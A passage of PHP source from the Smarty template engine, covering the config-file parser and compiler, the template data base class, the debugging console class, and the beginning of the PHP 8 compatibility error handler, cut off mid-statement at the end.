            if (!$this->yyTraceFILE && $yysize) {
                $this->yyidx++;
                $x = new TPC_yyStackEntry;
                $x->stateno = $yyact;
                $x->major = $yygoto;
                $x->minor = $yy_lefthand_side;
                $this->yystack[ $this->yyidx ] = $x;
            } else {
                $this->yy_shift($yyact, $yygoto, $yy_lefthand_side);
            }
        } elseif ($yyact === self::YYNSTATE + self::YYNRULE + 1) {
            $this->yy_accept();
        }
    }

    // line 320 "../smarty/lexer/smarty_internal_configfileparser.y"
    public function yy_parse_failed()
    {
        if ($this->yyTraceFILE) {
            fprintf($this->yyTraceFILE, "%sFail!\n", $this->yyTracePrompt);
        }
        while ($this->yyidx >= 0) {
            $this->yy_pop_parser_stack();
        }
    }

    // line 324 "../smarty/lexer/smarty_internal_configfileparser.y"
    public function yy_syntax_error($yymajor, $TOKEN)
    {
        // line 232 "../smarty/lexer/smarty_internal_configfileparser.y"
        $this->internalError = true;
        $this->yymajor = $yymajor;
        $this->compiler->trigger_config_file_error();
    }

    public function yy_accept()
    {
        if ($this->yyTraceFILE) {
            fprintf($this->yyTraceFILE, "%sAccept!\n", $this->yyTracePrompt);
        }
        while ($this->yyidx >= 0) {
            $this->yy_pop_parser_stack();
        }
        // line 225 "../smarty/lexer/smarty_internal_configfileparser.y"
        $this->successful = !$this->internalError;
        $this->internalError = false;
        $this->retvalue = $this->_retvalue;
    }

    public function doParse($yymajor, $yytokenvalue)
    {
        $yyerrorhit = 0;   /* True if yymajor has invoked an error */
        if ($this->yyidx === null || $this->yyidx < 0) {
            $this->yyidx = 0;
            $this->yyerrcnt = -1;
            $x = new TPC_yyStackEntry;
            $x->stateno = 0;
            $x->major = 0;
            $this->yystack = array();
            $this->yystack[] = $x;
        }
        $yyendofinput = ($yymajor == 0);
        if ($this->yyTraceFILE) {
            fprintf(
                $this->yyTraceFILE,
                "%sInput %s\n",
                $this->yyTracePrompt,
                $this->yyTokenName[ $yymajor ]
            );
        }
        do {
            $yyact = $this->yy_find_shift_action($yymajor);
            if ($yymajor < self::YYERRORSYMBOL &&
                !$this->yy_is_expected_token($yymajor)) {
                // force a syntax error
                $yyact = self::YY_ERROR_ACTION;
            }
            if ($yyact < self::YYNSTATE) {
                $this->yy_shift($yyact, $yymajor, $yytokenvalue);
                $this->yyerrcnt--;
                if ($yyendofinput && $this->yyidx >= 0) {
                    $yymajor = 0;
                } else {
                    $yymajor = self::YYNOCODE;
                }
            } elseif ($yyact < self::YYNSTATE + self::YYNRULE) {
                $this->yy_reduce($yyact - self::YYNSTATE);
            } elseif ($yyact === self::YY_ERROR_ACTION) {
                if ($this->yyTraceFILE) {
                    fprintf(
                        $this->yyTraceFILE,
                        "%sSyntax Error!\n",
                        $this->yyTracePrompt
                    );
                }
                if (self::YYERRORSYMBOL) {
                    if ($this->yyerrcnt < 0) {
                        $this->yy_syntax_error($yymajor, $yytokenvalue);
                    }
                    $yymx = $this->yystack[ $this->yyidx ]->major;
                    if ($yymx === self::YYERRORSYMBOL || $yyerrorhit) {
                        if ($this->yyTraceFILE) {
                            fprintf(
                                $this->yyTraceFILE,
                                "%sDiscard input token %s\n",
                                $this->yyTracePrompt,
                                $this->yyTokenName[ $yymajor ]
                            );
                        }
                        $this->yy_destructor($yymajor, $yytokenvalue);
                        $yymajor = self::YYNOCODE;
                    } else {
                        while ($this->yyidx >= 0 &&
                               $yymx !== self::YYERRORSYMBOL &&
                               ($yyact = $this->yy_find_shift_action(self::YYERRORSYMBOL)) >= self::YYNSTATE
                        ) {
                            $this->yy_pop_parser_stack();
                        }
                        if ($this->yyidx < 0 || $yymajor == 0) {
                            $this->yy_destructor($yymajor, $yytokenvalue);
                            $this->yy_parse_failed();
                            $yymajor = self::YYNOCODE;
                        } elseif ($yymx !== self::YYERRORSYMBOL) {
                            $u2 = 0;
                            $this->yy_shift($yyact, self::YYERRORSYMBOL, $u2);
                        }
                    }
                    $this->yyerrcnt = 3;
                    $yyerrorhit = 1;
                } else {
                    if ($this->yyerrcnt <= 0) {
                        $this->yy_syntax_error($yymajor, $yytokenvalue);
                    }
                    $this->yyerrcnt = 3;
                    $this->yy_destructor($yymajor, $yytokenvalue);
                    if ($yyendofinput) {
                        $this->yy_parse_failed();
                    }
                    $yymajor = self::YYNOCODE;
                }
            } else {
                $this->yy_accept();
                $yymajor = self::YYNOCODE;
            }
        } while ($yymajor !== self::YYNOCODE && $this->yyidx >= 0);
    }

    /**
     * parse optional boolean keywords
     *
     * @param string $str
     *
     * @return bool
     */
    private function parse_bool($str)
    {
        $str = strtolower($str);
        if (in_array($str, array('on', 'yes', 'true'))) {
            $res = true;
        } else {
            $res = false;
        }
        return $res;
    }

    /**
     * set a config variable in target array
     *
     * @param array $var
     * @param array $target_array
     */
    private function set_var(array $var, array &$target_array)
    {
        $key = $var[ 'key' ];
        $value = $var[ 'value' ];
        if ($this->configOverwrite || !isset($target_array[ 'vars' ][ $key ])) {
            $target_array[ 'vars' ][ $key ] = $value;
        } else {
            settype($target_array[ 'vars' ][ $key ], 'array');
            $target_array[ 'vars' ][ $key ][] = $value;
        }
    }

    /**
     * add config variable to global vars
     *
     * @param array $vars
     */
    private function add_global_vars(array $vars)
    {
        if (!isset($this->compiler->config_data[ 'vars' ])) {
            $this->compiler->config_data[ 'vars' ] = array();
        }
        foreach ($vars as $var) {
            $this->set_var($var, $this->compiler->config_data);
        }
    }

    /**
     * add config variable to section
     *
     * @param string $section_name
     * @param array  $vars
     */
    private function add_section_vars($section_name, array $vars)
    {
        if (!isset($this->compiler->config_data[ 'sections' ][ $section_name ][ 'vars' ])) {
            $this->compiler->config_data[ 'sections' ][ $section_name ][ 'vars' ] = array();
        }
        foreach ($vars as $var) {
            $this->set_var($var, $this->compiler->config_data[ 'sections' ][ $section_name ]);
        }
    }
}
<?php
/**
 * Smarty Internal Plugin Config File Compiler
 * This is the config file compiler class. It calls the lexer and parser to
 * perform the compiling.
 *
 * @package    Smarty
 * @subpackage Config
 * @author     Uwe Tews
 */

/**
 * Main config file compiler class
 *
 * @package    Smarty
 * @subpackage Config
 */
class Smarty_Internal_Config_File_Compiler
{
    /**
     * Lexer class name
     *
     * @var string
     */
    public $lexer_class;

    /**
     * Parser class name
     *
     * @var string
     */
    public $parser_class;

    /**
     * Lexer object
     *
     * @var object
     */
    public $lex;

    /**
     * Parser object
     *
     * @var object
     */
    public $parser;

    /**
     * Smarty object
     *
     * @var Smarty object
     */
    public $smarty;

    /**
     * Smarty object
     *
     * @var Smarty_Internal_Template object
     */
    public $template;

    /**
     * Compiled config data sections and variables
     *
     * @var array
     */
    public $config_data = array();

    /**
     * compiled config data must always be written
     *
     * @var bool
     */
    public $write_compiled_code = true;

    /**
     * Initialize compiler
     *
     * @param string $lexer_class  class name
     * @param string $parser_class class name
     * @param Smarty $smarty       global instance
     */
    public function __construct($lexer_class, $parser_class, Smarty $smarty)
    {
        $this->smarty = $smarty;
        // get required plugins
        $this->lexer_class = $lexer_class;
        $this->parser_class = $parser_class;
        $this->smarty = $smarty;
        $this->config_data[ 'sections' ] = array();
        $this->config_data[ 'vars' ] = array();
    }

    /**
     * Method to compile Smarty config source.
     *
     * @param Smarty_Internal_Template $template
     *
     * @return bool true if compiling succeeded, false if it failed
     * @throws \SmartyException
     */
    public function compileTemplate(Smarty_Internal_Template $template)
    {
        $this->template = $template;
        $this->template->compiled->file_dependency[ $this->template->source->uid ] =
            array(
                $this->template->source->filepath,
                $this->template->source->getTimeStamp(),
                $this->template->source->type
            );
        if ($this->smarty->debugging) {
            if (!isset($this->smarty->_debug)) {
                $this->smarty->_debug = new Smarty_Internal_Debug();
            }
            $this->smarty->_debug->start_compile($this->template);
        }
        // init the lexer/parser to compile the config file
        /* @var Smarty_Internal_ConfigFileLexer $this->lex */
        $this->lex = new $this->lexer_class(
            str_replace(
                array(
                    "\r\n",
                    "\r"
                ),
                "\n",
                $template->source->getContent()
            ) . "\n",
            $this
        );
        /* @var Smarty_Internal_ConfigFileParser $this->parser */
        $this->parser = new $this->parser_class($this->lex, $this);
        if (function_exists('mb_internal_encoding')
            && function_exists('ini_get')
            && ((int)ini_get('mbstring.func_overload')) & 2
        ) {
            $mbEncoding = mb_internal_encoding();
            mb_internal_encoding('ASCII');
        } else {
            $mbEncoding = null;
        }
        if ($this->smarty->_parserdebug) {
            $this->parser->PrintTrace();
        }
        // get tokens from lexer and parse them
        while ($this->lex->yylex()) {
            if ($this->smarty->_parserdebug) {
                echo "<br>Parsing  {$this->parser->yyTokenName[$this->lex->token]} Token {$this->lex->value} Line {$this->lex->line} \n";
            }
            $this->parser->doParse($this->lex->token, $this->lex->value);
        }
        // finish parsing process
        $this->parser->doParse(0, 0);
        if ($mbEncoding) {
            mb_internal_encoding($mbEncoding);
        }
        if ($this->smarty->debugging) {
            $this->smarty->_debug->end_compile($this->template);
        }
        // template header code
        $template_header = sprintf(
            "<?php /* Smarty version %s, created on %s\n         compiled from '%s' */ ?>\n",
            Smarty::SMARTY_VERSION,
            date("Y-m-d H:i:s"),
            str_replace('*/', '* /' , $this->template->source->filepath)
        );
        $code = '<?php $_smarty_tpl->smarty->ext->configLoad->_loadConfigVars($_smarty_tpl, ' .
                var_export($this->config_data, true) . '); ?>';
        return $template_header . $this->template->smarty->ext->_codeFrame->create($this->template, $code);
    }

    /**
     * display compiler error messages without dying
     * If parameter $args is empty it is a parser detected syntax error.
     * In this case the parser is called to obtain information about expected tokens.
     * If parameter $args contains a string this is used as error message
     *
     * @param string $args individual error message or null
     *
     * @throws SmartyCompilerException
     */
    public function trigger_config_file_error($args = null)
    {
        // get config source line which has error
        $line = $this->lex->line;
        if (isset($args)) {
            // $line--;
        }
        $match = preg_split("/\n/", $this->lex->data);
        $error_text =
            "Syntax error in config file '{$this->template->source->filepath}' on line {$line} '{$match[$line - 1]}' ";
        if (isset($args)) {
            // individual error message
            $error_text .= $args;
        } else {
            // expected token from parser
            foreach ($this->parser->yy_get_expected_tokens($this->parser->yymajor) as $token) {
                $exp_token = $this->parser->yyTokenName[ $token ];
                if (isset($this->lex->smarty_token_names[ $exp_token ])) {
                    // token type from lexer
                    $expect[] = '"' . $this->lex->smarty_token_names[ $exp_token ] . '"';
                } else {
                    // otherwise internal token name
                    $expect[] = $this->parser->yyTokenName[ $token ];
                }
            }
            // output parser error message
            $error_text .= ' - Unexpected "' . $this->lex->value . '", expected one of: ' . implode(' , ', $expect);
        }
        throw new SmartyCompilerException($error_text);
    }
}
<?php
/**
 * Smarty Internal Plugin Data
 * This file contains the basic classes and methods for template and variable creation
 *
 * @package    Smarty
 * @subpackage Template
 * @author     Uwe Tews
 */

/**
 * Base class with template and variable methods
 *
 * @package    Smarty
 * @subpackage Template
 *
 * @property int    $scope
 * @property Smarty $smarty
 * The following methods will be dynamically loaded by the extension handler when they are called.
 * They are located in a corresponding Smarty_Internal_Method_xxxx class
 *
 * @method mixed _getConfigVariable(string $varName, bool $errorEnable = true)
 * @method mixed getConfigVariable(string $varName, bool $errorEnable = true)
 * @method mixed getConfigVars(string $varName = null, bool $searchParents = true)
 * @method mixed getGlobal(string $varName = null)
 * @method mixed getStreamVariable(string $variable)
 * @method Smarty_Internal_Data clearAssign(mixed $tpl_var)
 * @method Smarty_Internal_Data clearAllAssign()
 * @method Smarty_Internal_Data clearConfig(string $varName = null)
 * @method Smarty_Internal_Data configLoad(string $config_file, mixed $sections = null, string $scope = 'local')
 */
abstract class Smarty_Internal_Data
{
    /**
     * This object type (Smarty = 1, template = 2, data = 4)
     *
     * @var int
     */
    public $_objType = 4;

    /**
     * name of class used for templates
     *
     * @var string
     */
    public $template_class = 'Smarty_Internal_Template';

    /**
     * template variables
     *
     * @var Smarty_Variable[]
     */
    public $tpl_vars = array();

    /**
     * parent template (if any)
     *
     * @var Smarty|Smarty_Internal_Template|Smarty_Data
     */
    public $parent = null;

    /**
     * configuration settings
     *
     * @var string[]
     */
    public $config_vars = array();

    /**
     * extension handler
     *
     * @var Smarty_Internal_Extension_Handler
     */
    public $ext = null;

    /**
     * Smarty_Internal_Data constructor.
     *
     * Install extension handler
     */
    public function __construct()
    {
        $this->ext = new Smarty_Internal_Extension_Handler();
        $this->ext->objType = $this->_objType;
    }

    /**
     * assigns a Smarty variable
     *
     * @param array|string $tpl_var the template variable name(s)
     * @param mixed        $value   the value to assign
     * @param boolean      $nocache if true any output of this variable will be not cached
     *
     * @return Smarty_Internal_Data current Smarty_Internal_Data (or Smarty or Smarty_Internal_Template) instance for
     *                              chaining
     */
    public function assign($tpl_var, $value = null, $nocache = false)
    {
        if (is_array($tpl_var)) {
            foreach ($tpl_var as $_key => $_val) {
                $this->assign($_key, $_val, $nocache);
            }
        } else {
            if ($tpl_var !== '') {
                if ($this->_objType === 2) {
                    /**
                     *
                     *
                     * @var Smarty_Internal_Template $this
                     */
                    $this->_assignInScope($tpl_var, $value, $nocache);
                } else {
                    $this->tpl_vars[ $tpl_var ] = new Smarty_Variable($value, $nocache);
                }
            }
        }
        return $this;
    }

    /**
     * appends values to template variables
     *
     * @api  Smarty::append()
     * @link https://www.smarty.net/docs/en/api.append.tpl
     *
     * @param array|string $tpl_var the template variable name(s)
     * @param mixed        $value   the value to append
     * @param bool         $merge   flag if array elements shall be merged
     * @param bool         $nocache if true any output of this variable will
     *                              be not cached
     *
     * @return \Smarty_Internal_Data|\Smarty_Internal_Template|\Smarty
     */
    public function append($tpl_var, $value = null, $merge = false, $nocache = false)
    {
        return $this->ext->append->append($this, $tpl_var, $value, $merge, $nocache);
    }

    /**
     * assigns a global Smarty variable
     *
     * @param string  $varName the global variable name
     * @param mixed   $value   the value to assign
     * @param boolean $nocache if true any output of this variable will be not cached
     *
     * @return \Smarty_Internal_Data|\Smarty_Internal_Template|\Smarty
     */
    public function assignGlobal($varName, $value = null, $nocache = false)
    {
        return $this->ext->assignGlobal->assignGlobal($this, $varName, $value, $nocache);
    }

    /**
     * appends values to template variables by reference
     *
     * @param string  $tpl_var the template variable name
     * @param mixed   &$value  the referenced value to append
     * @param boolean $merge   flag if array elements shall be merged
     *
     * @return \Smarty_Internal_Data|\Smarty_Internal_Template|\Smarty
     */
    public function appendByRef($tpl_var, &$value, $merge = false)
    {
        return $this->ext->appendByRef->appendByRef($this, $tpl_var, $value, $merge);
    }

    /**
     * assigns values to template variables by reference
     *
     * @param string  $tpl_var the template variable name
     * @param         $value
     * @param boolean $nocache if true any output of this variable will be not cached
     *
     * @return \Smarty_Internal_Data|\Smarty_Internal_Template|\Smarty
     */
    public function assignByRef($tpl_var, &$value, $nocache = false)
    {
        return $this->ext->assignByRef->assignByRef($this, $tpl_var, $value, $nocache);
    }

    /**
     * Returns a single or all template variables
     *
     * @api  Smarty::getTemplateVars()
     * @link https://www.smarty.net/docs/en/api.get.template.vars.tpl
     *
     * @param string                                                  $varName       variable name or null
     * @param \Smarty_Internal_Data|\Smarty_Internal_Template|\Smarty $_ptr          optional pointer to data object
     * @param bool                                                    $searchParents include parent templates?
     *
     * @return mixed variable value or or array of variables
     */
    public function getTemplateVars($varName = null, ?Smarty_Internal_Data $_ptr = null, $searchParents = true)
    {
        return $this->ext->getTemplateVars->getTemplateVars($this, $varName, $_ptr, $searchParents);
    }

    /**
     * Follow the parent chain an merge template and config variables
     *
     * @param \Smarty_Internal_Data|null $data
     */
    public function _mergeVars(?Smarty_Internal_Data $data = null)
    {
        if (isset($data)) {
            if (!empty($this->tpl_vars)) {
                $data->tpl_vars = array_merge($this->tpl_vars, $data->tpl_vars);
            }
            if (!empty($this->config_vars)) {
                $data->config_vars = array_merge($this->config_vars, $data->config_vars);
            }
        } else {
            $data = $this;
        }
        if (isset($this->parent)) {
            $this->parent->_mergeVars($data);
        }
    }

    /**
     * Return true if this instance is a Data obj
     *
     * @return bool
     */
    public function _isDataObj()
    {
        return $this->_objType === 4;
    }

    /**
     * Return true if this instance is a template obj
     *
     * @return bool
     */
    public function _isTplObj()
    {
        return $this->_objType === 2;
    }

    /**
     * Return true if this instance is a Smarty obj
     *
     * @return bool
     */
    public function _isSmartyObj()
    {
        return $this->_objType === 1;
    }

    /**
     * Get Smarty object
     *
     * @return Smarty
     */
    public function _getSmartyObj()
    {
        return $this->smarty;
    }

    /**
     * Handle unknown class methods
     *
     * @param string $name unknown method-name
     * @param array  $args argument array
     *
     * @return mixed
     */
    public function __call($name, $args)
    {
        return $this->ext->_callExternalMethod($this, $name, $args);
    }
}
<?php
/**
 * Smarty Internal Plugin Debug
 * Class to collect data for the Smarty Debugging Console
 *
 * @package    Smarty
 * @subpackage Debug
 * @author     Uwe Tews
 */

/**
 * Smarty Internal Plugin Debug Class
 *
 * @package    Smarty
 * @subpackage Debug
 */
class Smarty_Internal_Debug extends Smarty_Internal_Data
{
    /**
     * template data
     *
     * @var array
     */
    public $template_data = array();

    /**
     * List of uid's which shall be ignored
     *
     * @var array
     */
    public $ignore_uid = array();

    /**
     * Index of display() and fetch() calls
     *
     * @var int
     */
    public $index = 0;

    /**
     * Counter for window offset
     *
     * @var int
     */
    public $offset = 0;

    /**
     * Start logging template
     *
     * @param \Smarty_Internal_Template $template template
     * @param null                      $mode     true: display   false: fetch  null: subtemplate
     */
    public function start_template(Smarty_Internal_Template $template, $mode = null)
    {
        if (isset($mode) && !$template->_isSubTpl()) {
            $this->index++;
            $this->offset++;
            $this->template_data[ $this->index ] = null;
        }
        $key = $this->get_key($template);
        $this->template_data[ $this->index ][ $key ][ 'start_template_time' ] = microtime(true);
    }

    /**
     * End logging of cache time
     *
     * @param \Smarty_Internal_Template $template cached template
     */
    public function end_template(Smarty_Internal_Template $template)
    {
        $key = $this->get_key($template);
        $this->template_data[ $this->index ][ $key ][ 'total_time' ] +=
            microtime(true) - $this->template_data[ $this->index ][ $key ][ 'start_template_time' ];
        //$this->template_data[$this->index][$key]['properties'] = $template->properties;
    }

    /**
     * Start logging of compile time
     *
     * @param \Smarty_Internal_Template $template
     */
    public function start_compile(Smarty_Internal_Template $template)
    {
        static $_is_stringy = array('string' => true, 'eval' => true);
        if (!empty($template->compiler->trace_uid)) {
            $key = $template->compiler->trace_uid;
            if (!isset($this->template_data[ $this->index ][ $key ])) {
                if (isset($_is_stringy[ $template->source->type ])) {
                    $this->template_data[ $this->index ][ $key ][ 'name' ] =
                        '\'' . substr($template->source->name, 0, 25) . '...\'';
                } else {
                    $this->template_data[ $this->index ][ $key ][ 'name' ] = $template->source->filepath;
                }
                $this->template_data[ $this->index ][ $key ][ 'compile_time' ] = 0;
                $this->template_data[ $this->index ][ $key ][ 'render_time' ] = 0;
                $this->template_data[ $this->index ][ $key ][ 'cache_time' ] = 0;
            }
        } else {
            if (isset($this->ignore_uid[ $template->source->uid ])) {
                return;
            }
            $key = $this->get_key($template);
        }
        $this->template_data[ $this->index ][ $key ][ 'start_time' ] = microtime(true);
    }

    /**
     * End logging of compile time
     *
     * @param \Smarty_Internal_Template $template
     */
    public function end_compile(Smarty_Internal_Template $template)
    {
        if (!empty($template->compiler->trace_uid)) {
            $key = $template->compiler->trace_uid;
        } else {
            if (isset($this->ignore_uid[ $template->source->uid ])) {
                return;
            }
            $key = $this->get_key($template);
        }
        $this->template_data[ $this->index ][ $key ][ 'compile_time' ] +=
            microtime(true) - $this->template_data[ $this->index ][ $key ][ 'start_time' ];
    }

    /**
     * Start logging of render time
     *
     * @param \Smarty_Internal_Template $template
     */
    public function start_render(Smarty_Internal_Template $template)
    {
        $key = $this->get_key($template);
        $this->template_data[ $this->index ][ $key ][ 'start_time' ] = microtime(true);
    }

    /**
     * End logging of compile time
     *
     * @param \Smarty_Internal_Template $template
     */
    public function end_render(Smarty_Internal_Template $template)
    {
        $key = $this->get_key($template);
        $this->template_data[ $this->index ][ $key ][ 'render_time' ] +=
            microtime(true) - $this->template_data[ $this->index ][ $key ][ 'start_time' ];
    }

    /**
     * Start logging of cache time
     *
     * @param \Smarty_Internal_Template $template cached template
     */
    public function start_cache(Smarty_Internal_Template $template)
    {
        $key = $this->get_key($template);
        $this->template_data[ $this->index ][ $key ][ 'start_time' ] = microtime(true);
    }

    /**
     * End logging of cache time
     *
     * @param \Smarty_Internal_Template $template cached template
     */
    public function end_cache(Smarty_Internal_Template $template)
    {
        $key = $this->get_key($template);
        $this->template_data[ $this->index ][ $key ][ 'cache_time' ] +=
            microtime(true) - $this->template_data[ $this->index ][ $key ][ 'start_time' ];
    }

    /**
     * Register template object
     *
     * @param \Smarty_Internal_Template $template cached template
     */
    public function register_template(Smarty_Internal_Template $template)
    {
    }

    /**
     * Register data object
     *
     * @param \Smarty_Data $data data object
     */
    public static function register_data(Smarty_Data $data)
    {
    }

    /**
     * Opens a window for the Smarty Debugging Console and display the data
     *
     * @param Smarty_Internal_Template|Smarty $obj object to debug
     * @param bool                            $full
     *
     * @throws \Exception
     * @throws \SmartyException
     */
    public function display_debug($obj, $full = false)
    {
        if (!$full) {
            $this->offset++;
            $savedIndex = $this->index;
            $this->index = 9999;
        }
        $smarty = $obj->_getSmartyObj();
        // create fresh instance of smarty for displaying the debug console
        // to avoid problems if the application did overload the Smarty class
        $debObj = new Smarty();
        // copy the working dirs from application
        $debObj->setCompileDir($smarty->getCompileDir());
        // init properties by hand as user may have edited the original Smarty class
        $debObj->setPluginsDir(is_dir(__DIR__ . '/../plugins') ? __DIR__ .
                                                                           '/../plugins' : $smarty->getPluginsDir());
        $debObj->force_compile = false;
        $debObj->compile_check = Smarty::COMPILECHECK_ON;
        $debObj->left_delimiter = '{';
        $debObj->right_delimiter = '}';
        $debObj->security_policy = null;
        $debObj->debugging = false;
        $debObj->debugging_ctrl = 'NONE';
        $debObj->error_reporting = E_ALL & ~E_NOTICE;
        $debObj->debug_tpl =
            isset($smarty->debug_tpl) ? $smarty->debug_tpl : 'file:' . __DIR__ . '/../debug.tpl';
        $debObj->registered_plugins = array();
        $debObj->registered_resources = array();
        $debObj->registered_filters = array();
        $debObj->autoload_filters = array();
        $debObj->default_modifiers = array();
        $debObj->escape_html = true;
        $debObj->caching = Smarty::CACHING_OFF;
        $debObj->compile_id = null;
        $debObj->cache_id = null;
        // prepare information of assigned variables
        $ptr = $this->get_debug_vars($obj);
        $_assigned_vars = $ptr->tpl_vars;
        ksort($_assigned_vars);
        $_config_vars = $ptr->config_vars;
        ksort($_config_vars);
        $debugging = $smarty->debugging;
        $templateName = $obj->source->type . ':' . $obj->source->name;
        $displayMode = $debugging === 2 || !$full;
        $offset = $this->offset * 50;
        $_template = new Smarty_Internal_Template($debObj->debug_tpl, $debObj);
        if ($obj->_isTplObj()) {
            $_template->assign('template_name', $templateName);
        }
        if ($obj->_objType === 1 || $full) {
            $_template->assign('template_data', $this->template_data[ $this->index ]);
        } else {
            $_template->assign('template_data', null);
        }
        $_template->assign('assigned_vars', $_assigned_vars);
        $_template->assign('config_vars', $_config_vars);
        $_template->assign('execution_time', microtime(true) - $smarty->start_time);
        $_template->assign('targetWindow', $displayMode ? md5("$offset$templateName") : '__Smarty__');
        $_template->assign('offset', $offset);
        echo $_template->fetch();
        if (isset($full)) {
            $this->index--;
        }
        if (!$full) {
            $this->index = $savedIndex;
        }
    }

    /**
     * Recursively gets variables from all template/data scopes
     *
     * @param Smarty_Internal_Template|Smarty_Data $obj object to debug
     *
     * @return StdClass
     */
    public function get_debug_vars($obj)
    {
        $config_vars = array();
        foreach ($obj->config_vars as $key => $var) {
            $config_vars[ $key ][ 'value' ] = $var;
            if ($obj->_isTplObj()) {
                $config_vars[ $key ][ 'scope' ] = $obj->source->type . ':' . $obj->source->name;
            } elseif ($obj->_isDataObj()) {
                $tpl_vars[ $key ][ 'scope' ] = $obj->dataObjectName;
            } else {
                $config_vars[ $key ][ 'scope' ] = 'Smarty object';
            }
        }
        $tpl_vars = array();
        foreach ($obj->tpl_vars as $key => $var) {
            foreach ($var as $varkey => $varvalue) {
                if ($varkey === 'value') {
                    $tpl_vars[ $key ][ $varkey ] = $varvalue;
                } else {
                    if ($varkey === 'nocache') {
                        if ($varvalue === true) {
                            $tpl_vars[ $key ][ $varkey ] = $varvalue;
                        }
                    } else {
                        if ($varkey !== 'scope' || $varvalue !== 0) {
                            $tpl_vars[ $key ][ 'attributes' ][ $varkey ] = $varvalue;
                        }
                    }
                }
            }
            if ($obj->_isTplObj()) {
                $tpl_vars[ $key ][ 'scope' ] = $obj->source->type . ':' . $obj->source->name;
            } elseif ($obj->_isDataObj()) {
                $tpl_vars[ $key ][ 'scope' ] = $obj->dataObjectName;
            } else {
                $tpl_vars[ $key ][ 'scope' ] = 'Smarty object';
            }
        }
        if (isset($obj->parent)) {
            $parent = $this->get_debug_vars($obj->parent);
            foreach ($parent->tpl_vars as $name => $pvar) {
                if (isset($tpl_vars[ $name ]) && $tpl_vars[ $name ][ 'value' ] === $pvar[ 'value' ]) {
                    $tpl_vars[ $name ][ 'scope' ] = $pvar[ 'scope' ];
                }
            }
            $tpl_vars = array_merge($parent->tpl_vars, $tpl_vars);
            foreach ($parent->config_vars as $name => $pvar) {
                if (isset($config_vars[ $name ]) && $config_vars[ $name ][ 'value' ] === $pvar[ 'value' ]) {
                    $config_vars[ $name ][ 'scope' ] = $pvar[ 'scope' ];
                }
            }
            $config_vars = array_merge($parent->config_vars, $config_vars);
        } else {
            foreach (Smarty::$global_tpl_vars as $key => $var) {
                if (!array_key_exists($key, $tpl_vars)) {
                    foreach ($var as $varkey => $varvalue) {
                        if ($varkey === 'value') {
                            $tpl_vars[ $key ][ $varkey ] = $varvalue;
                        } else {
                            if ($varkey === 'nocache') {
                                if ($varvalue === true) {
                                    $tpl_vars[ $key ][ $varkey ] = $varvalue;
                                }
                            } else {
                                if ($varkey !== 'scope' || $varvalue !== 0) {
                                    $tpl_vars[ $key ][ 'attributes' ][ $varkey ] = $varvalue;
                                }
                            }
                        }
                    }
                    $tpl_vars[ $key ][ 'scope' ] = 'Global';
                }
            }
        }
        return (object)array('tpl_vars' => $tpl_vars, 'config_vars' => $config_vars);
    }

    /**
     * Return key into $template_data for template
     *
     * @param \Smarty_Internal_Template $template template object
     *
     * @return string key into $template_data
     */
    private function get_key(Smarty_Internal_Template $template)
    {
        static $_is_stringy = array('string' => true, 'eval' => true);
        // calculate Uid if not already done
        if ($template->source->uid === '') {
            $template->source->filepath;
        }
        $key = $template->source->uid;
        if (isset($this->template_data[ $this->index ][ $key ])) {
            return $key;
        } else {
            if (isset($_is_stringy[ $template->source->type ])) {
                $this->template_data[ $this->index ][ $key ][ 'name' ] =
                    '\'' . substr($template->source->name, 0, 25) . '...\'';
            } else {
                $this->template_data[ $this->index ][ $key ][ 'name' ] = $template->source->filepath;
            }
            $this->template_data[ $this->index ][ $key ][ 'compile_time' ] = 0;
            $this->template_data[ $this->index ][ $key ][ 'render_time' ] = 0;
            $this->template_data[ $this->index ][ $key ][ 'cache_time' ] = 0;
            $this->template_data[ $this->index ][ $key ][ 'total_time' ] = 0;
            return $key;
        }
    }

    /**
     * Ignore template
     *
     * @param \Smarty_Internal_Template $template
     */
    public function ignore(Smarty_Internal_Template $template)
    {
        // calculate Uid if not already done
        if ($template->source->uid === '') {
            $template->source->filepath;
        }
        $this->ignore_uid[ $template->source->uid ] = true;
    }

    /**
     * handle 'URL' debugging mode
     *
     * @param Smarty $smarty
     */
    public function debugUrl(Smarty $smarty)
    {
        if (isset($_SERVER[ 'QUERY_STRING' ])) {
            $_query_string = $_SERVER[ 'QUERY_STRING' ];
        } else {
            $_query_string = '';
        }
        if (false !== strpos($_query_string, $smarty->smarty_debug_id)) {
            if (false !== strpos($_query_string, $smarty->smarty_debug_id . '=on')) {
                // enable debugging for this browser session
                setcookie('SMARTY_DEBUG', true);
                $smarty->debugging = true;
            } elseif (false !== strpos($_query_string, $smarty->smarty_debug_id . '=off')) {
                // disable debugging for this browser session
                setcookie('SMARTY_DEBUG', false);
                $smarty->debugging = false;
            } else {
                // enable debugging for this page
                $smarty->debugging = true;
            }
        } else {
            if (isset($_COOKIE[ 'SMARTY_DEBUG' ])) {
                $smarty->debugging = true;
            }
        }
    }
}
<?php

/**
 * Smarty error handler to fix new error levels in PHP8 for backwards compatibility
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Simon Wisselink
 *
 */
class Smarty_Internal_ErrorHandler
{

    /**
     * Allows {$foo} where foo is unset.
     * @var bool
     */
    public $allowUndefinedVars = true;

    /**
     * Allows {$foo->propName} where propName is undefined.
     * @var bool
     */
    public $allowUndefinedProperties = true;

    /**
     * Allows {$foo.bar} where bar is unset and {$foo.bar1.bar2} where either bar1 or bar2 is unset.
     * @var bool
     */
    public $allowUndefinedArrayKeys = true;

    /**
     * Allows {$foo->bar} where bar is not an object (e.g. null or false).
     * @var bool
     */
    public $allowDereferencingNonObjects = true;

    private $previousErrorHandler = null;

    /**
     * Enable error handler to intercept errors
     */
    public function activate() {
        /*
            Error muting is done because some people implemented custom error_handlers using
            https://php.net/set_error_handler and for some reason did not understand the following paragraph:

            It is important to remember that the standard PHP error handler is completely bypassed for the
            error types specified by error_types unless the callback function returns FALSE.
            error_reporting() settings will have no effect and your error handler will be called regardless -
            however you are still able to read the current value of error_reporting and act appropriately.
            Of particular note is that this value will be 0 if the statement that caused the error was
            prepended by the @ error-control operator.
        */
        $this->previousErrorHandler = set_error_handler([$this, 'handleError']);
    }

    /**
     * Disable error handler
     */
    public function deactivate() {
        restore_error_handler();
        $this->previousErrorHandler = null;
    }

    /**
     * Error Handler to mute expected messages
     *
     * @link https://php.net/set_error_handler
     *
     * @param integer $errno Error level
     * @param         $errstr
     * @param         $errfile
     * @param         $errline
     * @param         $errcontext
     *
     * @return bool
     */
    public function handleError($errno, $errstr, $errfile, $errline, $errcontext = [])
    {

        if ($this->allowUndefinedVars && preg_match(
